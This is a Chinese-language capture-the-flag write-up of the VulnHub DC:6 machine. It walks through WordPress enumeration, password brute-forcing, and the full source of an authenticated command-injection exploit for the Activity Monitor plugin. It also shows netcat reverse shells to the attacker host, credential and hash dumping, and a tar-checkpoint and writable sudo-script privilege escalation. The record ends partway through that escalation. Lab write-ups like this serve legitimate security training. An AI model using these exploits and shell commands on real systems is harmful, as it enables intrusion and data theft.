[vulnhub] DC:6

First Post:

Last Update:

Word Count:
5.4k

Read Time:
30 min

cai

简介

DC系列第6台机子。主要内容是对wordpress里一些插件及工具的利用拿shell，提权部分就考信息收集能力吧。

开始之前别忘了在/etc/hosts里加上wordy对应的IP，不然会出问题。

信息搜集

Port Scan:

1
2
3
4
5
6
7
8
9
10
11
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-02 21:57 CST
Warning: 192.168.56.115 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.56.115
Host is up (0.00075s latency).
Not shown: 37431 filtered tcp ports (no-response), 28102 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:E1:6F:2C (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 110.00 seconds

TCP, Service, OS Scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-02 21:59 CST
Nmap scan report for 192.168.56.115
Host is up (0.00072s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
MAC Address: 08:00:27:E1:6F:2C (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.97 seconds

UDP Scan:

1
2
3
4
5
6
7
8
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-02 21:59 CST
Nmap scan report for 192.168.56.115
Host is up (0.0010s latency).
All 1000 scanned ports on 192.168.56.115 are in ignored states.
Not shown: 958 closed udp ports (port-unreach), 42 open|filtered udp ports (no-response)
MAC Address: 08:00:27:E1:6F:2C (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1042.12 seconds

Simple Vuln Scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-03 14:12 CST
Nmap scan report for 192.168.56.115
Host is up (0.00023s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-wordpress-users: 
| Username found: admin
| Username found: graham
| Username found: mark
| Username found: sarah
| Username found: jens
|_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-users.limit'
| http-enum: 
|   /wp-login.php: Possible admin folder
|   /readme.html: Wordpress version: 2 
|   /wp-includes/images/rss.png: Wordpress version 2.2 found.
|   /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
|   /wp-includes/images/blank.gif: Wordpress version 2.6 found.
|   /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
|   /wp-login.php: Wordpress login page.
|   /wp-admin/upgrade.php: Wordpress login page.
|_  /readme.html: Interesting, a readme.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
MAC Address: 08:00:27:E1:6F:2C (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 32.25 seconds

nikto Vuln Scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.56.115
+ Target Hostname:    192.168.56.115
+ Target Port:        80
+ Start Time:         2023-06-03 14:13:20 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.25 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Root page / redirects to: http://wordy/
+ /index.php?: Drupal Link header found with value: ARRAY(0x5574d9921688). See: https://www.drupal.org/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ /license.txt: License file found may identify site software.
+ /wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /wp-login.php: Wordpress login found.
+ 8102 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time:           2023-06-03 14:13:50 (GMT8) (30 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

web fingerprint Scan:

1
http://wordy [200 OK] Apache[2.4.25], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[192.168.56.115], JQuery[1.12.4], MetaGenerator[WordPress 5.1.1], PoweredBy[WordPress], Script[text/javascript], Title[Wordy – Just another WordPress site], UncommonHeaders[link], WordPress[5.1.1]

看下来还是有挺多信息的。首先端口开了22和80，漏扫和网页指纹识别也识别出来了网站是用wordpress 5.1.1版本搭建的，并且还把用户名都给爆出来了。

既然用的是wordpress，当然wpscan会出手。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
┌──(kali㉿kali)-[~/vulnhub/DC/6/workSpace]
└─$ sudo wpscan --url http://wordy -e                                                              
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]Y
[i] Updating the Database ...
[i] Update completed.

[+] URL: http://wordy/ [192.168.56.115]
[+] Started: Sat Jun  3 14:28:44 2023

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.25 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://wordy/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://wordy/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://wordy/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.1.1 identified (Insecure, released on 2019-03-13).
 | Found By: Rss Generator (Passive Detection)
 |  - http://wordy/index.php/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>
 |  - http://wordy/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>

[+] WordPress theme in use: twentyseventeen
 | Location: http://wordy/wp-content/themes/twentyseventeen/
 | Last Updated: 2023-03-29T00:00:00.000Z
 | Readme: http://wordy/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 3.2
 | Style URL: http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 2.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1, Match: 'Version: 2.1'

[+] Enumerating Vulnerable Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
 Checking Known Locations - Time: 00:00:00 <=============================================> (500 / 500) 100.00% Time: 00:00:00
[+] Checking Theme Versions (via Passive and Aggressive Methods)

[i] No themes Found.

[+] Enumerating Timthumbs (via Passive and Aggressive Methods)
 Checking Known Locations - Time: 00:00:04 <===========================================> (2575 / 2575) 100.00% Time: 00:00:04

[i] No Timthumbs Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <==============================================> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Enumerating DB Exports (via Passive and Aggressive Methods)
 Checking DB Exports - Time: 00:00:00 <====================================================> (71 / 71) 100.00% Time: 00:00:00

[i] No DB Exports Found.

[+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected)
 Brute Forcing Attachment IDs - Time: 00:00:01 <=========================================> (100 / 100) 100.00% Time: 00:00:01

[i] No Medias Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <===============================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] admin
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://wordy/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] sarah
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] graham
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] mark
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] jens
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sat Jun  3 14:28:56 2023
[+] Requests Done: 3455
[+] Cached Requests: 8
[+] Data Sent: 892.988 KB
[+] Data Received: 13.49 MB
[+] Memory used: 299.664 MB
[+] Elapsed time: 00:00:12

用户名和之前扫描结果对上了，其他有漏洞的插件以及备份啥的没有发现。既然拿到用户名了，当然得试试能不能爆破一下登录了。

web渗透

字典登录爆破

要爆破首先要有字典，根据之前打DC系列机子的经验，我们可以先根据网站信息使用cewl生成一个字典。先试试这个字典能不能成，不行再直接用rockyou慢慢跑吧。

1
2
┌──(kali㉿kali)-[~/vulnhub/DC/6/workSpace]
└─$ cewl http://wordy > cewlpass

然后把之前的用户名存到一个username文件里。爆破一下试试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(kali㉿kali)-[~/vulnhub/DC/6/workSpace]
└─$ sudo wpscan --url http://wordy -U username -P cewlpass                                   
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://wordy/ [192.168.56.115]
[+] Started: Sat Jun  3 14:55:39 2023

......

[+] Performing password attack on Xmlrpc against 5 user/s
Trying mark / here Time: 00:00:09 <======================================================> (445 / 445) 100.00% Time: 00:00:09

[i] No Valid Passwords Found.

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sat Jun  3 14:55:53 2023
[+] Requests Done: 618
[+] Cached Requests: 5
[+] Data Sent: 264.483 KB
[+] Data Received: 632.724 KB
[+] Memory used: 252.391 MB
[+] Elapsed time: 00:00:14

可惜没有成功，那我们就拿rockyou跑吧。

但是rockyou太大了，跑完到猴年马月。但是幸好作者给我们了一个小提示：

CLUE

OK, this isn’t really a clue as such, but more of some “we don’t want to spend five years waiting for a certain process to finish” kind of advice for those who just want to get on with the job.

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt That should save you a few years. ;-)

说明我们要的密码部分在有‘k01’的部分。我们用这个rockyou的部分字典试着跑一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(kali㉿kali)-[~/vulnhub/DC/6/workSpace]
└─$ sudo wpscan --url http://wordy -U username -P passwords.txt 
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://wordy/ [192.168.56.115]
[+] Started: Sat Jun  3 14:56:04 2023

......

[+] Performing password attack on Xmlrpc against 5 user/s
[SUCCESS] - mark / helpdesk01                                                                                                
Trying jens / !lak019b Time: 00:04:24 <======================================         > (12547 / 15215) 82.46%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: mark, Password: helpdesk01

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sat Jun  3 15:00:32 2023
[+] Requests Done: 12687
[+] Cached Requests: 38
[+] Data Sent: 6.214 MB
[+] Data Received: 7.403 MB
[+] Memory used: 289.926 MB
[+] Elapsed time: 00:04:28

发现了mark的密码helpdesk01。

后台拿shell

登进来后台看了看，因为mark这个用户不是admin，所以我们不能操作我们最喜欢的plugin以及theme模块。那到底哪里有上传点呢？

我们四处观察了一下，tools里面啥也没有，侧边栏里面就剩下一个Activity monitor比较可疑了。

dc-6-backend

我们都知道wordpress里的好多插件或工具有可能存在漏洞，那我们就去搜一下吧。

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/vulnhub/DC/6/workSpace]
└─$ searchsploit wordpress activity monitor
------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                             |  Path
------------------------------------------------------------------------------------------- ---------------------------------
WordPress Plugin Plainview Activity Monitor 20161228 - (Authenticated) Command Injection   | php/webapps/45274.html
WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authen | php/webapps/50110.py
------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

我们惊喜的发现真的有。那我们直接下载下来。下面附上50110.py的源码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
┌──(kali㉿kali)-[~/vulnhub/DC/6/workSpace]
└─$ cat 50110.py  
# Exploit Title: WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authenticated) (2)
# Date: 07.07.2021
# Exploit Author: Beren Kuday GORUN
# Vendor Homepage: https://wordpress.org/plugins/plainview-activity-monitor/
# Software Link: https://www.exploit-db.com/apps/2e1f384e5e49ab1d5fbf9eedf64c9a15-plainview-activity-monitor.20161228.zip
# Version: 20161228 and possibly prior
# Fixed version: 20180826
# CVE : CVE-2018-15877

"""
-------------------------
Usage:
┌──(root@kali)-[~/tools]
└─# python3 WordPress-Activity-Monitor-RCE.py
What's your target IP?
192.168.101.28
What's your username?
mark
What's your password?
password123
[*] Please wait...
[*] Perfect!
www-data@192.168.101.28  whoami
www-data
www-data@192.168.101.28  pwd
/var/www/html/wp-admin
www-data@192.168.101.28  id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
"""

import requests
from bs4 import BeautifulSoup

def exploit(whoami, ip):
        while 1:
                cmd = input(whoami+"@"+ip+"  ")
                url = 'http://' + ip + '/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools'
                payload = "google.com.tr | " + cmd
                data = {'ip': payload , 'lookup' : 'lookup' }
                x = requests.post(url, data = data, cookies=getCookie(ip))
                html_doc = x.text.split("<p>Output from dig: </p>")[1]
                soup = BeautifulSoup(html_doc, 'html.parser')
                print(soup.p.text)

def poc(ip):
        url = 'http://' + ip + '/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools'
        myobj = {'ip': 'google.fr | whoami', 'lookup' : 'lookup' }
        x = requests.post(url, data = myobj, cookies=getCookie(ip))
        html_doc = x.text.split("<p>Output from dig: </p>")[1]
        soup = BeautifulSoup(html_doc, 'html.parser')
        print("[*] Perfect! ")
        exploit(soup.p.text, ip)

def getCookie(ip):
        url = 'http://' + ip + '/wp-login.php'
        #log=admin&pwd=admin&wp-submit=Log+In&redirect_to=http%3A%2F%2Fwordy%2Fwp-admin%2F&testcookie=1
        data = {'log':username, 'pwd':password, 'wp-submit':'Log In', 'testcookie':'1'}
        x = requests.post(url, data = data)
        cookies = {}
        cookie = str(x.headers["Set-Cookie"])

        for i in cookie.split():
                if(i.find("wordpress") != -1 and i.find("=") != -1):
                        cookies[i.split("=")[0]] = i.split("=")[1][:len(i.split("=")[1])-1]
        return cookies

ip = input("What's your target IP?\n")
username = input("What's your username?\n")
password = input("What's your password?\n")
print("[*] Please wait...")
poc(ip)

根据usage，我们尝试利用get shell。

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/vulnhub/DC/6/workSpace]
└─$ python3 50110.py               
What's your target IP?
192.168.56.115
What's your username?
mark
What's your password?
helpdesk01
[*] Please wait...
[*] Perfect! 
www-data@192.168.56.115

成功拿shell。

当然这个shell不是很稳定，所以我们在用nc创建一个反弹shell:nc 192.168.56.144 443 -e /bin/bash

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/vulnhub/DC/6/workSpace]
└─$ sudo nc -lvp 443                                           
[sudo] password for kali: 
listening on [any] 443 ...
connect to [192.168.56.144] from wordy [192.168.56.115] 54500
whoami
www-data
which python
/usr/bin/python
python -c "import pty;pty.spawn('/bin/bash');"
www-data@dc-6:/var/www/html/wp-admin$

成功！

提权

手动枚举

接下来就是提权。

喜闻乐见的就是没有www-data用户的密码无法列出可以sudo的范围。

令人遗憾的是也没有可用于提权的set suid位二进制文件。定时任务也是啥也没有。

config文件

我们查看一下config文件，里面倒是有数据库链接密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
www-data@dc-6:/var/www/html$ cat wp-config.php
cat wp-config.php
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://codex.wordpress.org/Editing_wp-config.php
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */

define('WP_HOME','http://wordy');
define('WP_SITEURL','http://wordy');

define( 'DB_NAME', 'wordpressdb' );

/** MySQL database username */
define( 'DB_USER', 'wpdbuser' );

/** MySQL database password */
define( 'DB_PASSWORD', 'meErKatZ' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

登进去在wordpressdb数据库下的wp_users表中可以查到对应账户的密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
MariaDB [wordpressdb]> select * from wp_users;\g
select * from wp_users;\g
+----+------------+------------------------------------+---------------+-----------------------------+----------+---------------------+-----------------------------------------------+-------------+-----------------+
| ID | user_login | user_pass                          | user_nicename | user_email                  | user_url | user_registered     | user_activation_key                           | user_status | display_name    |
+----+------------+------------------------------------+---------------+-----------------------------+----------+---------------------+-----------------------------------------------+-------------+-----------------+
|  1 | admin      | $P$BDhiv9Y.kOYzAN8XmDbzG00hpbb2LA1 | admin         | blah@blahblahblah1.net.au   |          | 2019-04-24 12:52:10 |                                               |           0 | admin           |
|  2 | graham     | $P$B/mSJ8xC4iPJAbCzbRXKilHMbSoFE41 | graham        | graham@blahblahblah1.net.au |          | 2019-04-24 12:54:57 |                                               |           0 | Graham Bond     |
|  3 | mark       | $P$BdDI8ehZKO5B/cJS8H0j1hU1J9t810/ | mark          | mark@blahblahblah1.net.au   |          | 2019-04-24 12:55:39 |                                               |           0 | Mark Jones      |
|  4 | sarah      | $P$BEDLXtO6PUnSiB6lVaYkqUIMO/qx.3/ | sarah         | sarah@blahblahblah1.net.au  |          | 2019-04-24 12:56:10 |                                               |           0 | Sarah Balin     |
|  5 | jens       | $P$B//75HFVPBwqsUTvkBcHA8i4DUJ7Ru0 | jens          | jens@blahblahblah1.net.au   |          | 2019-04-24 13:04:40 | 1556111080:$P$B5/.DwEMzMFh3bvoGjPgnFO0Qtd3p./ |           0 | Jens Dagmeister |
+----+------------+------------------------------------+---------------+-----------------------------+----------+---------------------+-----------------------------------------------+-------------+-----------------+
5 rows in set (0.00 sec)

ERROR: No query specified

可惜存的都是wordpress hash后的md5值（phppass格式），破解不出来（john挂在旁边尝试到25%左右）。

密码复用的路就先搁置吧。

home目录

这台机子是多用户环境，看看各个用户home目录里面都有啥。

graham和sarah目录下啥也没有。

jens目录下有个backup.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@dc-6:/home/jens$ ls -la
ls -la
total 28
drwxr-xr-x 2 jens jens 4096 Apr 26  2019 .
drwxr-xr-x 6 root root 4096 Apr 26  2019 ..
-rw------- 1 jens jens    5 Apr 26  2019 .bash_history
-rw-r--r-- 1 jens jens  220 Apr 24  2019 .bash_logout
-rw-r--r-- 1 jens jens 3526 Apr 24  2019 .bashrc
-rw-r--r-- 1 jens jens  675 Apr 24  2019 .profile
-rwxrwxr-x 1 jens devs   50 Apr 26  2019 backups.sh
www-data@dc-6:/home/jens$ cat bac
cat backups.sh 
#!/bin/bash
tar -czf backups.tar.gz /var/www/html

其操作不难理解，就是备份网页目录，可惜所有者是jens且不是定时任务。

那我们再看看mark

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
www-data@dc-6:/home$ cd mark 
cd mark
www-data@dc-6:/home/mark$ ls -la
ls -la
total 28
drwxr-xr-x 3 mark mark 4096 Apr 26  2019 .
drwxr-xr-x 6 root root 4096 Apr 26  2019 ..
-rw------- 1 mark mark    5 Apr 26  2019 .bash_history
-rw-r--r-- 1 mark mark  220 Apr 24  2019 .bash_logout
-rw-r--r-- 1 mark mark 3526 Apr 24  2019 .bashrc
-rw-r--r-- 1 mark mark  675 Apr 24  2019 .profile
drwxr-xr-x 2 mark mark 4096 Apr 26  2019 stuff
www-data@dc-6:/home/mark$ cd stuff
cd stuff
www-data@dc-6:/home/mark/stuff$ ls -la
ls -la
total 12
drwxr-xr-x 2 mark mark 4096 Apr 26  2019 .
drwxr-xr-x 3 mark mark 4096 Apr 26  2019 ..
-rw-r--r-- 1 mark mark  241 Apr 26  2019 things-to-do.txt
www-data@dc-6:/home/mark/stuff$ cat thin
cat things-to-do.txt 
Things to do:

- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
- Buy new laptop for Sarah's replacement

发现还是mark老哥能处，不仅网站登录密码简单，还给我们带来了新的登陆凭证 graham - GSo7isUM1D4。 ssh登陆一下

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/vulnhub/DC/6/workSpace]
└─$ ssh graham@192.168.56.115
graham@192.168.56.115's password: 
Linux dc-6 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
graham@dc-6:~$

非常的对。

1
2
3
4
5
6
graham@dc-6:~$ sudo -l
Matching Defaults entries for graham on dc-6:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User graham may run the following commands on dc-6:
    (jens) NOPASSWD: /home/jens/backups.sh

graham竟然可以以jens身份执行backups.sh。因为用的tar，我们知道有个利用tar --checkpoint提权的方法，我们试着弹个jens的反弹shell回来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
www-data@dc-6:/var/www/html$ ls -la
ls -la
total 228
-rw-r--r--  1 www-data www-data     1 Jun  3 18:04 --checkpoint-action=exec=sh sujens.sh
-rw-r--r--  1 www-data www-data     1 Jun  3 17:55 --checkpoint=1
drwxr-xr-x  5 www-data devs      4096 Jun  3 18:04 .
drwxr-xr-x  3 root     root      4096 Apr 26  2019 ..
-rw-r--r--  1 www-data devs       420 Dec  1  2017 index.php
-rw-r--r--  1 www-data devs     19935 Jan  2  2019 license.txt
-rw-r--r--  1 www-data devs      7425 Jan  9  2019 readme.html
-rwxr-xr-x  1 www-data www-data    35 Jun  3 17:58 sujens.sh
-rw-r--r--  1 www-data devs      6919 Jan 12  2019 wp-activate.php
drwxr-xr-x  9 www-data devs      4096 Mar 13  2019 wp-admin
-rw-r--r--  1 www-data devs       369 Dec  1  2017 wp-blog-header.php
-rw-r--r--  1 www-data devs      2283 Jan 21  2019 wp-comments-post.php
-rw-r--r--  1 www-data devs      2898 Jan  8  2019 wp-config-sample.php
-rw-r--r--  1 www-data devs      3268 Apr 26  2019 wp-config.php
drwxr-xr-x  4 www-data devs      4096 Apr 26  2019 wp-content
-rw-r--r--  1 www-data devs      3847 Jan  9  2019 wp-cron.php
drwxr-xr-x 19 www-data devs     12288 Mar 13  2019 wp-includes
-rw-r--r--  1 www-data devs      2502 Jan 16  2019 wp-links-opml.php
-rw-r--r--  1 www-data devs      3306 Dec  1  2017 wp-load.php
-rw-r--r--  1 www-data devs     38883 Jan 12  2019 wp-login.php
-rw-r--r--  1 www-data devs      8403 Dec  1  2017 wp-mail.php
-rw-r--r--  1 www-data devs     17947 Jan 30  2019 wp-settings.php
-rw-r--r--  1 www-data devs     31085 Jan 17  2019 wp-signup.php
-rw-r--r--  1 www-data devs      4764 Dec  1  2017 wp-trackback.php
-rw-r--r--  1 www-data devs      3068 Aug 17  2018 xmlrpc.php
www-data@dc-6:/var/www/html$ cat sujens.sh
cat sujens.sh
nc 192.168.56.144 443 -e /bin/bash

然而并没有得逞，执行backups.sh没能给我弹回反弹shell。原因可能是需要以通配符形式备份才行，这种直接备份一整个文件夹的可能不行。

那咋整呢。我们仔细观察了一下文件权限-rwxrwxr-x 1 jens devs 50 Apr 26 2019 backups.sh，发现其权限是775，其他用户不能写，但他的组devs可以读写。我们看一下graham的id。

1
2
graham@dc-6:/home/jens$ id
uid=1001(graham) gid=1001(graham) groups=1001(graham),1005(devs)

惊喜发现其就是属于devs组的。那接下来就简单了，可以直接写入就方便了。直接vim向其中加入/bin/bash,然后sudo以jens身份执行。

1
2
3
4
5
6
7
8
9
graham@dc-6:/home/jens$ vim backups.sh 
graham@dc-6:/home/jens$ cat backups.sh 
#!/bin/bash
tar -czf backups.tar.gz /var/www/html
/bin/bash
graham@dc-6:/home/jens$ sudo -u jens ./backups.sh
tar: Removing leading `/' from member names
jens@dc-6:~$ whoami
